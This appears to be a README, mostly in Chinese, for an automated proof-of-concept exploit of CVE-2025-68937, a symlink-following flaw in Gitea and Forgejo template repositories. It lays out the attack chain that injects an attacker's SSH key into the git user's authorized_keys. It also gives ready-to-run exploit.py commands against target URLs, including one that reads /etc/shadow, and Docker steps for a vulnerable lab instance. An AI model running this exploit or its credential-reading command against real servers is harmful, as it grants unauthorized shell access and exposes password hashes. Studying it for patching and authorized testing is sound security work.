
Automated PoC exploit for CVE-2025-68937 — Gitea/Forgejo Template Symlink RCE. Any authenticated user can get a shell as the git service user.
CVE-2025-68937 的自动化概念验证:在 Gitea 和 Forgejo 的模板仓库处理过程中,通过符号链接解引用实现目录遍历,进而导致远程代码执行。
任何已认证用户(无需管理员权限)都可以获得 git 服务用户的 shell。
当从模板生成新仓库时,Gitea/Forgejo 会复制模板文件,并在 .gitea/template 中列出的文件里展开诸如 ${REPO_DESCRIPTION} 之类的变量。此过程跟随符号链接且不进行任何校验,从而允许攻击者读取和写入服务器上的任意文件。
| 详情 | 值 |
|---|---|
| CVE | CVE-2025-68937 |
| CVSS 4.0 | 9.5 严重 |
| CWE | CWE-61(UNIX 符号链接跟随) |
| 需要认证 | 是(任意用户) |
| 需要管理员 | 否 |
| 软件 | 受影响版本 | 修复版本 |
|---|---|---|
| Gitea | >= 1.11.0-rc1, <= 1.24.6 | 1.24.7 |
| Forgejo | <= 11.0.6 | 11.0.7 |
| Forgejo | >= 12.0.0, <= 13.0.1 | 13.0.2 |
Gitea Server
+---------------------+
1. Register SSH | authorized_keys: |
key with | command="gitea |
${REPO_DESC} | serv..." ssh-ed... |
as comment | ${REPO_DESCRIPTION}|
+---------------------+
|
2. Template repo | symlink
authorized_keys --------->+ follows
-> /data/git/.ssh/ |
authorized_keys |
v
3. Create child +---------------------+
repo with | authorized_keys: |
attacker key | command="gitea |
in description | serv..." ssh-ed... |
| <attacker SSH key> | <-- injected!
+---------------------+
|
4. SSH as git $ ssh -i key git@host
(unrestricted) uid=0(git) ...
${REPO_DESCRIPTION},这是 Gitea 会展开的一个模板变量authorized_keys 以进行变量展开的 .gitea/template 文件authorized_keys 文件的 git 符号链接 authorized_keysauthorized_keys 文件(其中包含我们注册的密钥,注释中带有 ${REPO_DESCRIPTION}),将变量展开为子仓库的描述(我们的 SSH 密钥),并通过符号链接将结果写回git 用户身份 SSH 登录(无 command= 限制)pip install requests
# Against Docker Gitea (git home defaults to /data/git)
python3 exploit.py -u http://localhost:3000 -U myuser -P mypassword --ssh-port 2222
# Against package/binary install (git home is /home/git)
python3 exploit.py -u http://gitea.example.com:3000 -U user -P pass --git-home /home/git
# Execute a command after getting shell
python3 exploit.py -u http://target:3000 -U user -P pass --command "cat /etc/shadow"
# Cleanup (removes repos and injected SSH keys)
python3 exploit.py -u http://target:3000 -U user -P pass --cleanup
启动一个易受攻击的实例:
docker run -d --name gitea-vuln \
-p 3000:3000 -p 2222:22 \
-e USER_UID=1000 -e USER_GID=1000 \
gitea/gitea:1.24.6
http://localhost:3000,完成安装向导(使用 SQLite 即可)python3 exploit.py -u http://localhost:3000 -U youruser -P yourpass --ssh-port 2222
requestsgit 和 ssh-keygen 位于 PATH 中此工具仅用于经授权的安全测试和教育目的。只能对您拥有或已获得明确书面许可的系统进行测试。未经授权访问计算机系统属于违法行为。作者对滥用行为不承担任何责任。
| 标志 | 默认值 | 描述 |
|---|
-u, --url | 必填 | Gitea/Forgejo 基础 URL |
-U, --user | 必填 | 用户名 |
-P, --password | 必填 | 密码 |
--git-home | /data/git | 目标上 git 用户的主目录 |
--ssh-host | 来自 --url | 要连接的 SSH 主机 |
--ssh-port | 22 | Gitea SSH 端口 |
--timeout | 30 | 等待 SSH 的秒数 |
--command | 交互式 | 获得 shell 后要执行的命令 |
--cleanup | - | 移除利用产物 |